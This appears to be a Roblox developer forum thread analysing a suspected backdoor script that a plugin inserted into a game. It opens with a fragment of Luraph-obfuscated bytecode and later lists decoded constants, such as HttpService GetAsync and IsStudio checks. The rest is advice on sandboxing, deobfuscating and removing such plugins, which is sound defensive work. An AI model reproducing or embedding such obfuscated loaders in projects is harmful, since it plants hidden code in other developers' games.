F4AAFDF6F4AADA2642DA2GF6F4AAF7F6F2BAF7F6FEE6F4F6FAE62GF6F4AAD5F7F28AF52GF2822EC497A52GF6F4AA2GF6F4AAF1F6F4AADA2642DA2GF6F4AAF7F6F2BAF5F6FEE6F2F6FAE62GF6F4AA1EA4F7EDF52GF282F3F6FEBA2GF6F4AAF7F6FEBAF4FAFCC62GF6F4AAF7F6FEBAF1F6FAE6923A6AA7F5F6FEC2E78ABBFEE48AB3FE6F8A4FFD7020DE8C841E8B984784D2804BEA2BC7E8C2E4D99DB3F5EB6D9F218665D107D5059193FF74720A020028033G002GADD52A8G002A6G002E402A6G0020402A6G00264028083G002GADDED9DFC4C3CA28083G002GADCBC2DFC0CCD928043G002GAD88D528023G002GADA5C0F87BF3CD68D462C8269G006G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000E9G002G000E9G002G000E3G000E3G000E3G000E3G000F3G00014G0039387045CE8BB51ED3446EF6AC293D83B64D613A4DE859D42EB2C4DA", getfenv()) 

It may be worthwhile printing out the constants and subfunction constants without running the interpreter. You can also use my sandbox here to trace exactly how it interacts with its environment. You should be able to find between these two techniques how the script phones home even without knowing the full source.

If anyone is bored just take IdomicLanguage’s beautified code and compare it to lbi/src/lbi.lua at master · JustAPerson/lbi · GitHub to ‘unobfuscate’ his byte-code. It just seems like this is a hastily-edited version of LBI with some Bit Ops meant to confuse you. Writing a tool to do the necessary substitutions should be a fun little challenge for someone to do.

what if you checked script activity and identified their sources?
like :

This has already been done for older versions of Luraph before. Felt like mentioning it.

There’s a plugin shared in community resources for detecting scripts inserted by plugins

Yeah, Luraph isn’t a very good obfuscator and it’s a bit of a joke in the “obfuscator community”.

Like @jody7777 said, it’s just an edited version of LBI. I don’t have time to actually deobfuscate it to get usable bytecode, but you shouldn’t need to. Just sandbox the script and print all the calls it makes to get an idea for about what it does.

If it were Xen or Ironbrew I’d be able to dump all the constants for you but I don’t have a constant dumper for Luraph simply because I’ve never needed one. I’ll look into making one now, but no promises!

As for the OP, @marfit, you should save your game as XML (.rbxlx). Then open the file in a text editor like Notepad++ and search for the scripts! Once you find them you can delete them there.

1 Like

(Sorry For Bumping This Thread Lmao)

I was testing my DeObfuscating skills with these scripts and I found out the seconds script.

game
GetService
HttpService
GetAsync
https://www.google.com
1337

pcall
script
Value
Name
true
print
on
Enabled
off
false
Disabled
1337

game
GetService
RunService
IsStudio
script
Destroy
print
gamer
Players
1337

1337

By the sounds of it you’ve taken a bunch of scripts / models made openly available.
I recommend never using them and scanning them completely.

The name builder X when searched is linked to a group of exploiters.
As for Luraph Ive seen a bunch of questionable posts about it. Its definatly a backdoor. Remove it ASAP.
Also the question is, how many plugins / models have you taken. And are multiple of them by the same person claiming one requires the other? It is very important you take this very seriously and it is dealt with quickly. Stop all works on that place and any other place that has the same plugins / scripts until you can identify and remove them. Avoid pressing run and even hovering over the plugins until its resolved.

For future reference, dont use other peoples plugins without absolute certainty. Ive got a few plugins e.g character Motor6 Builder which I know comes from a good place and good people with tons of users that have no problems. Other than that I will completely avoid plugins because they can run within studio without having to press play.

Should you need to encrypt text make your own encryption for a few good reasons:

  1. Exploiters can get the same thing you did
  2. You do not know what it contains
  3. You can make a better one tailored to your uses.

It could be taking any kind of information. If you have http enabled it will pass on your info through http. It could also be using global datastores to do this.

Until you read through the scripts you wont know what they are actually taking. They could be copying your game models and guis. As you cannot access the sources script you are kind of to blame for not checking it out completely before pressing run.
When using other peoples scripts, if they are hiding the source, remove it immediately. Its not worth the potential risks.

You can unpack models. I recommend doing this and then checking the whole thing for any scripts

1 Like

This topic is long dead, I believe it’s rather silly to be continuing bumping it.

1 Like

Agreed, someone else bumped it back up so it was up on recent, as there wasn’t really a clear and detailed answer I felt it was needed just to clear it up for others who might use other players scripts or have the same issue.

Remove all of your plugins then install required ones and look at their creators, I mean when you go to their profile and check for stuff you are %100 gonna see if its the real person or not then if your sure its original use the plugin. If it happens again I’d recommend to delete all of your plugins and not use plugins anymore.